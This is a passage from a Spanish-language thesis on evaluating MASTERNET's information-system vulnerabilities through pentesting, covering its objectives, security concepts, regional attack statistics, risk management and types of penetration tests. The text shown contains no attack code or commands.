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RESUMEN

La presente investigacion consiste en la evaluacion de vulnerabilidades dentro del
sistema informatico que tiene la empresa MASTERNET, aplicando técnicas de
Pentesting para descubrir diversos fallos que van desde configuracién hasta ataques de
Fuerza Bruta (RDP), entre otros. Resaltando a tal manera la relevancia de implementar
una cultura de comunicacién y seguridad asertiva en toda la empresa. Esta propuesta se

enfoca en los siguientes aspectos:

e Metodologia de Pentesting.
e Herramienta y técnicas de Pentesting.

e Beneficios y limitaciones del Pentesting.

Este estudio no solo se centra en identificar de vulnerabilidades, sino que proporciona
soluciones précticas, en donde, con la validacién de las medidas de mitigacién presentada
y con el andlisis detallado durante todo el proceso de Pentesting que va desde la
identificacion y clasificacion de vulnerabilidades de acuerdo al nivel de gravedad y
posteriormente finaliza con la propuesta de una serie de recomendaciones viables y
concretas para que la empresa Masternet pueda poner en practica y mitigar dichas

falencias técnicas.

Palabras clave: Riesgos informaticos, Pentesting, Vulnerabilidades, Seguridad

informatica.
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SEGURIDAD INFORMATICA

EVALUATION AND MITIGATION OF VULNERABILITIES IN THE INFORMATION
SYSTEM OF MASTERNET COMPANY THROUGH PENTESTING TECHNIQUES

ABSTRACT

The present investigation consists of the evaluation of vulnerabilities within the computer
system of the MASTERNET company, applying Pentesting techniques to discover
various failures ranging from configuration to Brute Force attacks (RDP), among others.
Highlighting in this way the relevance of implementing a culture of communication and
assertive security throughout the company. This proposal focuses on the following

aspects:

e Pentesting Methodology.
e Pentesting tools and techniques.

e Benefits and limitations of Pentesting.

This study not only focuses on identifying vulnerabilities, but also provides practical
solutions, where, with the validation of the mitigation measures presented and with the
detailed analysis throughout the Pentesting process that goes from the identification and
classification of vulnerabilities to according to the level of severity and then ends with
the proposal of a series of viable and concrete recommendations so that the Masternet

company can put into practice and mitigate these technical shortcomings.

Keywords: Computer risks, Pentesting, Vulnerabilities, Computer security



INTRODUCCION

Tras el avance tecnoldgico ha crecido digitalmente de una manera satisfactoria, a tal
hecho, que en las organizaciones han trasladado toda su data y procesos a la nube. Al
respecto, existen diversos beneficios, mejoras y aumentos del uso de las tecnologias de la
informacion, internet, sistemas web, moviles, cloud computing, entre otros. Sin embargo,
al mismo tiempo se han elevado el indice de ciberdelincuentes que buscan vulnerar y
conseguir informacién para conseguir beneficios econémicos o a su vez otro activo que
sea de valor para una empresa cabe destacar que los ataques cibernéticos son cada vez

mas sofisticados y con una frecuencia significativa.

En tal sentido, Ecuador se ha convertido en un pais que tiene altos indices de ataques
cibernéticos, por lo cual implementar politicas que permitan salvaguardar todo tipo de
informacion que sea de valor para una empresa son obligatorias para todos los miembros
0 personal que trabaje en dicha organizacion. A partir de aqui, se hace evidente la
relevancia de entablar cierto control en relacion con la seguridad de la informacion que
se genere y de la seguridad fisica de los activos de una compafiia. Es entonces que raiz de
lo mencionado, se aplica ciertas auditorias que resultan ser un punto critico de control
para el flujo correcto de trabajo interno de la empresa, lo cual asegura los principios de la

seguridad: confidencialidad, integridad, disponibilidad y ante sus activos.

Al respecto, surgen diversas herramientas y metodologias que permiten aplicar una
correcta practica de seguridad informatica. ElI Pentesting es considerada como una
herramienta que permite salvaguardar la informacion. Por tales razones en el presente
estudio investigativo con titulo: “Evaluacion de vulnerabilidades en el sistema de
informacion de MASTERNET por medio del uso de técnicas de Pentesting para fortalecer
sus activos digitales”, ejecuta dicha metodologia ya que como propoésito es la
identificacion de las vulnerabilidades presentes que mantiene la empresa para
posteriormente aplicar ciertas recomendaciones y estrategias que la empresa debera de

aplicar para prevenir ciertos ataques cibernéticos. Para conseguirlo, se empleara



herramientas enfocadas en la seguridad informética, como el sistema operativo Kali

Linux.

A continuacion, es importante mencionar que este estudio consta de cuatro capitulos, de

los cuales se detallan a continuacién:

CAPITULO 1. Se presenta una descripcion en base al planteamiento del problema del
presente estudio, asi mismo consta de su respectiva justificacion, objetivo general y
especificos de los cuales permitira exponer el alcance que se pretende alcanzar durante

todo el proceso de ejecucion de este.

CAPITULO Il. Consta de la investigacion de diferentes fuentes tanto a nivel nacional e
internacional a fin de determinar las bases tedricas mas relevantes, también, ciertos
antecedentes que son presentados para reforzar y aclarar la viabilidad de esta propuesta
técnica, finalmente, en este capitulo consta de ciertos términos que permitiran facilitar la

comprension lectora.

CAPITULO I11. Consta de la presentacion y estructuracion del marco metodologico del
presente estudio, tales como: técnicas, métodos, disefios, nivel y tipo de investigacion.

Posteriormente, se presenta la metodologia de seguridad informatica a utilizar.

CAPITULO 1V. Se presentan los resultados conseguidos a raiz de la ejecucion del
Pestesting, para posteriormente presentas las recomendaciones y estrategias de mejora
para la empresa MASTERNET.

Finalmente, y no menos importante, se describen aquellas conclusiones y
recomendaciones para futuros investigadores quienes obtén por el uso de proyectos
relacionados al Pentesting.



CAPITULO |
1. EL PROBLEMA

1.1 Problema de investigacion

Es importante analizar la situacion en materia de seguridad, sobre todo en las empresas
que se encuentran ubicadas a nivel de Latinoamérica. En este sentido, segun las ultimas
investigaciones mencionaron que en America Latina se reportaron mas de 2 millones de
ciberataques en un afio, de agosto de 2022 a agosto de 2023 con un (61%), robo de
informacion (58%) y proteccion de informacion (48%), junto con la preocupacion por el
cédigo malicioso (57%), que es la principal herramienta usada por los ciberdelincuentes

para controlar la data corporativa (Eset, 2020).

Otro incidente mas comin en las organizaciones de Latinoamérica es la explotacion de
vulnerabilidades, proceso por el cual se aprovechan las fallas de seguridad en sistemas
informaticos, aplicaciones o redes con la finalidad de comprometer la seguridad
informética. Los ciberdelincuentes buscan y explotan estas vulnerabilidades para
conseguir acceso no autorizado a sistemas, robar data confidencial, distribuir malware o

realizar otro tipo de actividades maliciosas (Tuqueres, 2021).

En Ecuador hubo mas de 51 mil registros (Alvarado, 2020) relacionados con
cryptominers?, alrededor de 140 mil detecciones de exploits?, cerca de seis mil
detecciones de ransomware® y casi ocho mil detecciones de spyware*, como datos de

algunos tipos de software malicioso.

De acuerdo con lo mencionado, en Santo Domingo, se encuentra ubicada la empresa
MASTERNET dedicada a ofrecer soluciones tecnoldgicas avanzadas para pequefias y
medianas organizaciones. El objetivo es ser el lider en el mercado de servicios de IT,

proporcionando productos y servicios innovadores que mejoren la eficiencia operativa y

1 Malware utilizado para la mineria de criptomonedas.

2 Un exploit es cualquier ataque que aprovecha las vulnerabilidades de las aplicaciones, las redes, los sistemas
operativos o el hardware

3 El ransomware es un tipo de malware que bloquea los datos o el dispositivo de una victima y amenaza con
mantenerlo bloqueado hasta que se pague un rescate. Utiliza el cifrado a nivel de disco, lo que causa mas dafio que
los ataques basados en archivos individuales

4 El spyware es un tipo de malware que intenta mantenerse oculto mientras registra informacién en secreto y sigue
sus actividades en linea, tanto en equipos como en dispositivos méviles. Puede supervisar y copiar todo lo que escribe,
carga, descarga y almacena.



la competitividad de los clientes. Sin embargo, se ha evidenciado diversos inconvenientes
técnicos, enfocados en la seguridad de la informacidn, es decir; no cuenta con una politica
de acceso a la infraestructura de informacién, lo cual compromete la integridad,
disponibilidad y confidencialidad de sus datos. Esta definicién ocasiona interrupciones
en las operaciones comerciales, afectando asi la eficiencia, competitividad, y calidad en
los servicios prestados.

La empresa MASTERNET ha sido testigo de varios ataques significativos en los ultimos
afios, uno de los méas notorios fue el ataque de Ransomware que sufrid la empresa en
2020, consiste en que este tipo es considerado como estrategia de extorcién digital ya que
permitio al atacante encriptar ficheros guardados en los dispositivos tecnologicos de la
compafiia, generando la propagacion de toda la informacién interna que manejan. Este
incidente paraliz6 varios de sus servicios y puso en evidencia la vulnerabilidad de las
infraestructuras criticas de los servicios prestados. Otro caso relevante fue el ciberataque
perpetrado en 2019, donde los atacantes lograron comprometer sistemas esenciales para

la distribucion de energia eléctrica.

1.2 Interrogantes de la investigacion

Toda empresa que dependa de una plataforma tecnoldgica tiene que contar las normas,
procedimientos, planes de seguridad y mitigacion de riesgos informaticos, por ello, se
plantea las siguientes interrogantes en la empresa MASTERNET.

RQL1: (Cudl es el estado actual de la empresa en términos de seguridad y cuales
son las necesidades mas criticas que requieren atencién?

RQ2: ;Cdémo escoger adecuadamente los mecanismos de salvaguarda para reducir
los riesgos identificados?

RQ3: (Como se puede proteger los activos digitales y garantizar la calidad de la

informacién critica en la empresa MASTERNET?



1.3 Objetivos

1.3.1 Objetivo general

Evaluar las vulnerabilidades en el sistema de informacién de la empresa MASTERNET

a través de técnicas de PENTESTING para fortalecer sus activos digitales.

1.3.2 Objetivos especificos

e Diagnosticar los mecanismos de seguridad, a nivel de servicios existente
internacionalmente, para contrarrestar los ataques informéaticos que puedan

establecerse en la red telematica de la Empresa MASTERNET.

e Identificar las fallas que presenta la red telematica de la Empresa MASTERNET
aplicando técnicas de PENTESTING.

e Proponer recomendaciones y estrategias especificas para mejorar la seguridad de
la informacion en la empresa MASTERNET.

1.4 Justificacién

Entre las razones por las cuales se justifica la presente propuesta tecnoldgica es debido a
que proporcionara ciertos beneficios directamente al personal administrativo de la
empresa MASTERNET, tales como: ayudaréa a identificar las necesidades mas criticas en
materia de seguridad y con el cual permita escoger las salvaguardas adecuadas para
mitigar los riegos identificados, esto se propone con el fin fortalecer la proteccion de

activos digitales, que implementen buenas practicas de seguridad de la informacion.

Todo lo anterior garantizara la disponibilidad, confidencialidad e integridad de los datos,
asegurando que la red de informacion sea segura. Ademas, se realizaran pruebas de
penetracion. El pentesting puede utilizar informacion de simulacion, para evaluar el nivel
de seguridad de la red de telecomunicaciones a través de ataques de informacion. La
prueba de penetracién permitira la exploracién de la red, el analisis de seguridad y las
auditorias; una vez implementada la prueba, serd posible identificar las debilidades de
MASTERNET e identificar las actividades mas riesgosas y las areas que requieren el

mayor esfuerzo para proteger los datos.



Por ello, se toma como punto de departida la Metodologia Penetration Testing Execution
Standard (PTES). Esta se fundamenta en aplicar herramientas de hacking ético y las
técnicas de Pentesting, para identificar las debilidades en cuanto a seguridad, obteniendo
como resultando, las respuestas a las interrogantes de la formulacion del problema y
cristalizar una metodologia que aporta para mantener la integridad, disponibilidad y
privacidad de la informacion de la organizacion MASTERNET, y por ende evitar el

impacto a la comunidad de usuarios que depende de estas instituciones.

No obstante, también se benefician de una manera indirecta los clientes quienes hayan
proporcionado cierta informacion de valor hacia la empresa, misma que esta almacenada
en los servidores de la empresa, entonces, con la ejecucion de esta propuesta la

informacion estard protegida y libre de amenazas cibernéticas.



CAPITULO 11
2 MARCO REFERENCIAL

En este capitulo se presenta tanto los antecedentes de la investigacion como las bases
tedricas necesarias para el entendimiento y correlacion de los diversos planteamientos en

pro de alcanzar los objetivos planteados.

2.1 Antecedentes

Conforme avanza la tecnologia hoy dia, son innumerables las amenazas cibernéticas, con
las que pueden atentar contra las organizaciones, tanto de fuentes externas, siendo
aplicadas a los sistemas utilizados en las operaciones tradicionales del negocio, o por
medio de sus propios empleados, lo que se conoce como ataques internos. Sin embargo,
indiferentemente de su origen los ataques se caracterizan por estar dirigidos con la
intencion de ocasionar dafio, de lo que se deriva el esfuerzo de las empresas en invertir

esfuerzos en obtener y mantener plataformas seguras.

La seguridad de la informacion se conforma por varias aristas la integridad, la
disponibilidad, la confidencialidad y la auditoria de la misma, como pilares basicos para
sistemas informaticos seguros, como el caso del estudio realizado por Gutiérrez (2014)
en la Universidad de Valladolid, en lo cual se usé como herramienta principal el sistema
operativo de evaluacion Kali Linux, siendo su implementacién mediante una aplicacion
de codigo abierto para el disefio, desarrollo e implementacion virtual del laboratorio de
pentesting, cuyo objetivo es educar y donde los estudiantes puedan conocer la
importancia de la seguridad, asi como la capacidad de construir sus redes, aplicaciones y
sistemas de la forma mas segura posible (Ortega-Garcés, 2023).

También, se hace referencia a otra propuesta investigativa, que consiste en un trabajo
relacionado con el tema del tépico que es de interés para el estudio realizado por
Valderrama (2017) en la Universidad Nacional Abiertay a Distancia de Chocd-Colombia
ya que describe los problemas de seguridad de la red en la alcaldia del Municipio de
Canton de San Pablo, por medio del uso de pruebas de penetracion que permita el

mejoramiento continuo de la gobernacion. En él se plante6 como objetivo de



investigacion aplicar las soluciones correctivas en cuanto a la problemética de la

seguridad en la red de datos.

Al respecto, se presenta otro estudio donde el ciberespacio ha introducido una nueva
dimensidn de ciberdelincuencia en las sociedades digitales y su uso se ha incorporado de
modo cotidiano y generalizado, en este sentido Mufioz (2017), de la Universidad del
Cauca-Colombia, en el cual identifican de manera eficiente y eficaz las vulnerabilidades
mas comunes sobre los sistemas web, siguiendo estos la metodologia OWASP e
implementaron prototipos de hardware y software como generacion de soluciones luego

de aplicar Pentesting.

Finalmente, y no menos importante un estudio realizado por los autores Jaramillo y
Riofrio (2015), desarrollaron una propuesta metodoldgica para la deteccidn, evaluacion,
de riesgos, debilidades y contramedidas en el disefio e implementacion de la
infraestructura de la red de la Editorial Don Bosco, a través las pruebas de intrusion
conocida como caja blanca, dentro del cual se identificaron las debilidades y dejaron al
descubierto las vulnerabilidades. Las pruebas empleadas y en los resultados obtenidos se

enfocaron esencialmente en los datos publicamente accesibles.

2.2 Marco Teobrico

2.2.1 Introduccion a la Seguridad informatica

La seguridad informatica (SI) surge de la necesidad de garantizar la privacidad e
integridad de los datos guardados en todo tipo de sistema informatico. En este sentido, la
seguridad informatica debe de ser cumplido con disciplina, los cuales se basan en politicas
y regulaciones externas e Dentro de una empresa, la vulnerabilidad ante diversas
amenazas cibernéticas aumenta, desde el robo de informacion hasta la interrupcion de
operaciones corporativas. Esto es impulsado por la creciente interconexion de
dispositivos y las transferencias de datos en linea, lo que lleva a una mayor necesidad de

seguridad informatica.(Guafia-Moya, 2023).



2.2.2 Caracteristicas fundamentales de la informacion

Al tratar el tema de seguridad informatica, es importante destacar que toda informacion

debe se poseer ciertas cualidades esenciales que permitan garantizar la seguridad y su

utilidad, tales como:

Tabla 1.

Caracteristicas fundamentales de la seguridad informatica

CARACTERISTICA

DESCRIPCION

EFICACIA

EFICIENTE

CONFIDENCIAL

PRECISA

DISPONIBILIDAD

LEYESY
REGULACIONES
CONFIABILIDAD

En este caso, debe de ser lo apropiada y suficiente para
completar las tareas particulares que asigna una empresa. Para
ello, debe de poseer sélo la cantidad adecuada de data.

Toda informacion tiene que ser creada y manejada de manera
que permita maximizar los recursos de una empresa, incluso
el tiempo y personas.

Los datos deben de ser protegidos contra manipulaciones,
accesos e incluso robos no deseados. De esta manera, la
privacidad de los datos estara protegidos.

La data completa para su posterior uso y cumplir con los
valores y estdndares de la empresa, los cuales tiene que
efectuar con estos requerimientos.

La data tiene que estar siempre disponible para su respectivo
procesamiento y asi la empresa pueda operar de la mejor
manera.

La data tiene cumplir con todas las leyes y regulaciones
externas como externas e internas.

La data no puede ser editada sin una autorizacion previa.

Nota: Elaboracion propia

2.2.3 Importancia de la Seguridad Informatica

La importancia de la seguridad informatica ha conllevado una creciente masiva de la

necesidad de salvaguardar los datos que se manejan constantemente, en especial dentro



de una empresa, puesto que, aumenta significativamente la posibilidad de ciertas

vulnerabilidades de ataques o ciber amenazas.

En este sentido, aplicar ciertos parametros de seguridad como la atencion y control de
acceso son temas esenciales y de los cuales estan cubiertos por la seguridad informatica.
Por ello, gestionar quién se encuentra autorizado a acceder a cierta data confidencial se
conoce como control de acceso. Adicionalmente, verificar la identificacion de entidades
0 personas que diariamente interactlan con sistemas informaticos por medio de técnicas
como: la aplicacion de huellas dactilares, contrasefias o incluso la autenticacion

multifactor que se conoce como autenticacion (Guafia-Moya, 2023).

Ahora bien, en una empresa puede encontrar peligros y reducirlos con la finalidad de que
los objetivos principales relacionados con la seguridad informéatica puedan ejercer las
operaciones corporativas de manera eficiente y sin ninguna novedad. Para poder evitar
este tipo de inconvenientes, es importante el uso de varias tacticas para proteger los
sistemas de informacion que estos incluyen métodos técnicos, por ejemplo: sistemas de
deteccion, instalacion de cortafuegos y prevencion de intrusos. Adicional, el uso de redes
privadas virtuales (\VPN) para afiadir un grado adicional de proteccion en la red al instante

que los dispositivos técnicos se conecten a las redes Wi-Fi inseguras.

Entonces, en tal sentido de lo expuesto, segun investigaciones mencionan que es
importante minimizar la susceptibilidad de una empresa a los ataques cibernéticos se
necesita de capacitaciones continuas al personas que sean relacionados sobre los
procedimientos de seguridad, agregado la creacion de contrasefias seguras y la respectiva
confirmacion de la legitimidad de los correos electronicos y sitio web (Llano et al., 2021).

2.2.4 SGSI (Sistema de Gestion de la Seguridad de la Informacidn)
La seguridad de la informacion, segun Guerra et al., (2021) “Esto incluye aplicar y
ejecutar medidas de seguridad adecuadas para que la informacion esté asegurada y

protegida en base a los tres aspectos claves, como: confidencialidad, disponibilidad e
integridad” (p. 14).

2.2.5 Importancia de la seguridad de la informacion

Un Sistema de Informacion se considera seguro si esta libre de riesgos y dafios. No se

puede garantizar la seguridad absoluta o la invulnerabilidad de un sistema informatico,
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por lo que gestionar su seguridad es el objetivo previsto por aquellos profesionales

enfocados en el area de ciberseguridad.

La seguridad de la informacion se entiende como la preservacion de las siguientes

caracteristicas:

Disponibilidad: la capacidad de los usuarios autorizados para acceder y utilizar
servicios, datos o sistemas segun sea necesario.

Confidencialidad: garantiza que la data sea accesible sélo a aquellas personas
autorizadas. Al recto también menciona que hace referencia a la capacidad de
comunicarse o de los datos que deben de ser entendidos o leidos Unicamente por
personas o sistemas autorizados (Jiménez, 2021, p. 146).

Integridad: preserva la exactitud de los datos y los métodos de procesamiento.
Disponibilidad: garantiza que, cuando sea necesarios, los usuarios admitidos
tengan accesoa a los datos y recursos relacionados, puedan utilizarlo (Mogollon,
2022). Por otra parte, Guerra et al., (2021) “menciona que es la cualidad de un
mensaje, comunicarse o datos que permitan corroborar que no se ha generado

ningun tipo de cambio, es decir que no haya sido alterado o modificado” (p. 147).

Al respecto, se agrega ciertos conceptos en relacion con lo mencionado anteriormente,
tales como:

Autenticidad y No Repudio: velar por la eficiencia de tiempo, forma y
distribucion de la informacion. También se aplica para evitar que la entidad que
envia o recibe el mensaje reclame a un tercero que no envid ni recibié el mensaje.
Auditabilidad: todos los eventos de un sistema tienen que poder registrarse para
su posterior control posterior.

Proteccion frente a la duplicacién: esto es para garantizar que la transaccion se
ejecute solo una vez, a menos que se especifique lo contrario. Ademas, se debe
evitar registrar y reproducir transacciones para simular multiples solicitudes del
mismo remitente original.

Legalidad: basado en acatar y dar cumplimiento de las leyes, normas,

reglamentaciones o disposiciones a las que esta sujeta una empresa.
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e Confiabilidad de la informacion: toda data creada tiene que ser adecuada para
sustentar la toma de decisiones y la ejecucion de las misiones y funciones
(Michilena & Diaz, 2011).

Toda empresa debe de establecer una Politica de Seguridad que englobara todas las
normas, mismo que debera de ser respetada y ejecutada tanto para colaboradores,

procedimientos y activos.

2.2.6 Importancia de la Politica de Seguridad

La politica de seguridad es un conjunto de reglas que describen los aspectos esenciales
de la seguridad de la informacion y las comunicaciones que todos los usuarios deben

respetar y contantemente seran reguladas .

Si bien los miembros de la direccidn de una organizacion tienen la mayor responsabilidad
de gestionar e implementar controles adecuados de seguridad de la informacion, el
cumplimiento de esos controles serd responsabilidad de todos los que colaboran o
cooperan en las actividades de una organizacion (Ministerio de telecomunicaciones y de

la sociedad de la informacion, 2020).

Se proporcionan los recursos y medios necesarios para la consecucion efectiva de los
objetivos de esta politica de seguridad, y sus resultados se iran aplicando progresivamente
a las diferentes areas segin un modelo de mejora continua, en el que se pondra especial

énfasis en los empleados, recursos humanos, formacion y medicion del desempefio.

2.2.7 Seguridad informatica en Ecuador

Tras el avance de la tecnologia, la transformacion digital ha conllevado que exista una
masiva creacién de cantidades de datos, trae consigo el incremento de la posibilidad de
infracciones y ataques a terceros. De hecho, en Ecuador presenta un alto impacto sobre
este fendmeno, puesto que, las empresas se encuentran transfiriendo la data que manejan
hacia la nube, lo que ha aumentado sus vulnerabilidades de los ciberataques (Mayacela
& Guerrero, 2023).
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Adicional, el incremento de los ciberatagques en las empresas requiere que se implementen
propuestas de salvaguardan la informacién y es importante actualizarse en relacion a los
avances en ciberseguridad para adaptarse a las amenazas en constante cambio y preservar

una postura defensiva solida.

Al respecto, segun una investigacion, indica que sobre todo en Ecuador por el afio del
2022 se presentd un indice de probabilidad elevada de ataques cibernéticos de un 47 %
siendo un porcentaje elevado en comparativa de todo Sudaamérica, entonces, se ha tenido
un incremento de acuerdo al afio 2021 hasta un 66% en la industria minorista y mayorista

a nivel global (Mayacela & Guerrero, 2023).

Chile
a3 Uruguay
A% indic=global
de probabilidad
de ataques
dbeméticos
en Sudamérica,

Argentina
53,2%

INDICE GLOBAL DE ATAQUES CIBERMETICOS
SEMANALES POR INDUSTRIA 2022
COMPARADO COM EL 2021

Incrementa

% s 2023
Educacién fInvestigacién 2314 +43%
Gobiemo / Milida 1651 +45%
Salud

Industria

1463 +74%
Comunicacion 1380 +IT%
ISP/ MSP 1272 +28%
Finanzas / Banca 1131 +52%
Servicios piblicos 1101 +45%
Sequras / Legal 957 +47%
Manufactura 950 +36%
Ocio / Hoteleria 943 +60%
SUVAR/ Distribuidores 204 18w
Minoristas /Mayoristas 871 +66%
Trarsporte 750 +41%
Vendores de Software 727 +37%
Consultores 689 +19%
Vendedor de Haraware 298 +25%

Figura 1. Estadistica de los ataques cibernéticos
Nota: Tomado de (Mayacela & Guerrero, 2023)
En resumen, la figura 1 representa que Ecuador ha sido mas vulnerable ante este tipo de
ataques cibernéticos, de hecho, se han identificado amenazas desde Botnets hasta
Ransomware. Dichos ataques corresponden a que se debe de implementar medidas

proactivas y a una mayor concienciacion para minimizar el riesgo de las vulnerabilidades
(Mayacela & Guerrero, 2023).
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Al respecto, el Ministerio de Telecomunicaciones ha trabajado en un componente esencial
de la seguridad de la red, MINTEL, quien es el encargado de organizar trabajos técnicos
a nivel nacional e internacional, con el objetivo de garantizar un correcto uso de las redes
por medio del Centro de Respuestas a Incidentes Informéticos del Ecuador “EcuCERT”,
que forma parte de la Agencia de Regulacion y Control de las Telecomunicaciones
“ARCOTEL”, Dichas entidades trabajan constantemente para proteger a los usuarios de

TIC del pais (Ministerio de telecomunicaciones y de la sociedad de la informacién, 2020).

En tal sentido, con la implementacion del cddigo penal ecuatoriano entablan ciertas
medidas correctivas para sancionar aquellos delitos informéticos, el objetivo es
salvaguardar los derechos de los usuarios, quienes a diario desarrollan diversas
actividades en linea. Dichos delitos inician desde el fraude electronico hasta la
intercepcion de mensajes de datos y el acceso no autorizado a toda data privada que

maneje el usuario en las distintas plataformas que existen actualmente.

Al respecto, segun investigaciones, indican que en Ecuador segln datos del Instituto
Nacional de Estadisticas y Censos (2020), el porcentaje de personas que utilizaron
internet en el 2012 alcanz6 35,1%, incrementandose a un 59,2% para el 2019. Este
crecimiento acelerado en el uso de las plataformas digitales es palpable, porque las
organizaciones financieras y empresariales (bancos, industria, turismo, etc.) Han
incrementado sus servicios online (banca electronica, transacciones electrdnicas, etc.).
Incluso las autoridades han automatizado sus servicios (pagos de propiedades, pagos de
impuestos, etc.) Incrementado la oferta de productos y servicios en linea (facturas

electronicas, sitios de compras, etc.).

Analizando el aumento descrito en el anterior apartado, podria deberse a varios motivos,
asi como menciona el (Ministerio de telecomunicaciones y de la sociedad de la

informacion, 2020):

e Creacidn del plan de gobierno electrénico 2018-2021,

e Incremento de controles de calidad a las organizaciones que prestan servicios de
internet por la extinta Supertel.

e Creacion de redes comunitarias en las distintas zonas rurales.

e Las politicas de gobierno para la modificacion productiva y el desarrollo del Ecuador,

entre otros.
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No se puede negar que la adopcidn de tecnologia ha dado lugar a avances que, a su vez,
han generado problemas de seguridad cibernética. Al menos en Ecuador, las estadisticas
de violaciones de seguridad se concentran en el sistema financiero. Su aumento en
nimeros es una preocupacion de ciberseguridad, especialmente para los bancos
ecuatorianos. Por ejemplo, segin el medio de comunicacién Al respecto en una
publicacion efectuada por el diario (Universo, 2020), para el 2014 se habia registrado

3.118 delitos informaticos y para el 2019, la cifra contabiliza fue 5.048.

2.3 Gestion de riesgos

Es necesario realizar un analisis de riesgos para anticipar los posibles riesgos y de alguna
manera entablar medidas preventivas y asi poder enfrentarlos, resultando un elemento
esencial para salvaguardar los activos criticos de una empresa. Se debe de: identificar,
evaluar y abordar dichas amenazas, pero hay que priorizar las acciones necesarias
(Martin, 2018).

2.3.1 Identificacion de Amenazas

En este punto se procede a identificar las posibles amenazas que afectan a los activos

identificados (Martin, 2018). Estas amenazas surgen de distintas fuentes, por ejemplo:

s Amenazas ambientales (desastres naturales)

Amenzasas humanas (actos intensionados o no
intensionados de los usuarios)

Amanenazas internas (surge por empleados o personal
interno o externo conocidos como hackers)

Figura 2. Identificacion de posibles amenazas

Nota: Tomado de (Martin, 2018)
Para identificarlas se debe de aplicar una evaluacion de riesgos precisa, dado que se

requiere entender que las vulnerabilidades asociado a las malas configuraciones son las
que generan amenazas que llegan a perjudicar significativamente a una empresa o usuario.
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Anélisis del Impacto

Luego de haber identificado las amenazas y activos se procede a realizar el analisis de
impacto para determinar las consecuencias que podrian ser una amenaza y de las cuales
puede materializar a un negocio o empresa. En este sentido, se examina si incluye la
evaluacion de pérdidas econdmicas, reputacion y en general otros efectos intangibles o
tangibles. Por tales razones, se debe de asimilar el impacto de las amenazas para priorizar

la gestion de riesgos (Maillo, 2021).
Priorizacion de las Amenazas

En este punto se procede a priorizar las amenazas identificadas en los anteriores
apartados, aqui se evalUa tanto el impacto como la probabilidad de ocurrencia (likelihood
of occurrence) de cada amenaza. Para ello, se debe de centrarse en las amenazas mas
relevantes y criticas las que tienen mayor probabilidad de impacto. Se recomienda en
utilizar CVSS (Common Vulnerability Scorin System) para asignar los respectivos
valores identificados (Maillo, 2021).

Identificacion de Técnicas de Mitigacion del Riesgo

Luego de haber priorizado las amenazas, es fundamental buscar e implementar soluciones
para mitigar el riesgo detectado. A continuacion, se procede a presentar las posibles

implementaciones de medidas y tecnologia de seguridad.

— T |
[ |
B o e comode o ————————— |

Sistemas de prevencion de mtrusos (IPS)
[ |

B coslsiones de vy v |

Aunditoria de segundad, entre otros
[ . |

Figura 3. Identificacién de técnicas de mitigacién del riesgo
Nota: Tomado de (Cuevas et al., 2018)

Con la ejecucion de una correcta gestion de riesgos permitira salvaguardar la data y
proteger los activos criticos de la empresa. Sin embargo, con la implementacién de
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gestién de riesgos no solo se puede abordar las amenazas existentes si no también se
puede anticipar diversos marcos y estandares, tales como: COBIT, ITIL, ISO 27001 y
NIST, con ello permitira que una organizacion pueda guiar y fortalecer su seguridad

informatica (Cuevas et al., 2018).
Evaluacion del Riesgo Residual

Una vez aplicada la mitigacion a los riesgos detectados se procede a aplicar una
reevaluacion y asegurarse de que las vulnerabilidades detectadas se han minimizado o
suprimido. Sin embargo, cabe mencionar que cualquier tipo de amenaza que aln persista
se considera riesgo residual y debe de gestionarse en base a las politicas de seguridad. Por
tales razones este Gltimo proceso es critica para asegurar que no pasen por alto los riesgos
que podrian afectar la seguridad de la informacion.

2.3.2 Pentesting

Debido a los avances en el desarrollo de software malicioso, se propone la
implementacién y uso de esta tecnologia de ciberseguridad en instituciones y empresas,
que incluye ataques a entornos informaticos virtualizados o controlados con el objetivo
de: descubrir y explotar vulnerabilidades, registrar ataques. La inteligencia de seguridad
consiste en realizar una evaluacién de seguridad de un sistema que simula un ciberataque
destinado a manipular informacion, robar informacién o tomar el control de un sistema
que es conocido por los expertos y no ha sido abordado o mal abordado, sin embargo,
segun (Altulaihan et al., 2023) mencionan en su articulo al Pentesting como “Una
evaluacion de seguridad del sistema que utiliza ataques del mundo real para determinar

formas de eludir los mecanismos de seguridad de aplicaciones, sistemas o redes”(p. 10).

Al respecto se puede argumentar que la metodologia denominada Pentesting es
reconocido como pruebas de penetracion, siendo asi un método usado por los diversos
tipos de hackers para evaluar y entender de manera controlada sistemas informaticos,
redes, equipos tic dentro de una empresa. El alcance de este método es identificar y
corregir proactivamente las vulnerabilidades encontradas. Por lo tanto, los
procedimientos y técnicas utilizados durante todo el proceso de prueba son similares a los
usados por los ciberdelincuentes en ataques reales, pero la diferencia es que los hackers
buscan robar, destruir o editar informacion, esto con la finalidad de obtener ganancias

financieras, los expertos en ciberseguridad en especial de penetracion tienen como
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objetivo descubrir vulnerabilidades existentes y contribuir a reforzar los sistemas para

prevenir futuros ataques.

Adicional a ello, mencionan que es una practica o método utilizado para revelar
vulnerabilidades y/o fallos de seguridad en sistemas informaticos, paginas web, seguridad
fisica o cualquier otro entorno relacionado con la tecnologia, y es util para las
organizaciones, ya que pueden explorar el alcance de sus redes internas. Los sistemas
informaticos estdn protegidos contra ataques informaticos y estan disefiados para
clasificar y establecer el alcance y el impacto de las fallas de seguridad, proporcionando
a las empresas resultados que pueden identificar la informacion o el entorno que pudo
haber estado expuesto a ellas durante un ataque, asi como evaluar la efectividad. de sus
defensas (Zafra, 2017).

2.3.3 Tipos de Pentesting
Las pruebas de penetracion se clasifican de acuerdo a la investigacion realizada por
Gaviria (2015):

e Pruebas de penetracion con objetivo: busqueda de vulnerabilidades en partes
especificas de los sistemas informaticos criticos dentro de una compafiia.

e Pruebas de penetracion sin objetivo: implican en analizar y validar todos los
componentes de los sistemas informaticos de propiedad de una empresa.

e Pruebas de penetracion a ciegas: estas pruebas utilizan unicamente informacion
disponible publicamente sobre la compafiia.

e Pruebas de penetracién informadas: usa data privada de una compafiia sobre
sus sistemas informaticos. Este tipo de prueba implica simular un ataque por parte
de una organizacion que tiene acceso limitado a informacidn privilegiada.

e Pruebas de penetracion externas: se realizan fuera de las instalaciones de la
empresa. El objetivo es estimar los mecanismos de seguridad informética de la
compaiiia.

e Pruebas de penetracién internas: son ejecutados dentro de las instalaciones de
la empresa, como meta es evaluar las politicas y mecanismos internos de

seguridad en la misma (p. 100).
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Sin embargo, al respecto se pueden presentar otros tipos de Pentesting, esto depende del

tipo de data que se tenga sobre el sistema al que se quiere aplicar la evaluacion, tales

como:

CAJA GRIS

\ lz‘,é-‘—?‘am-__?
W
CAJA BLANCA

CAJA NEGRA
Figura 4. Tipos de Pentesting

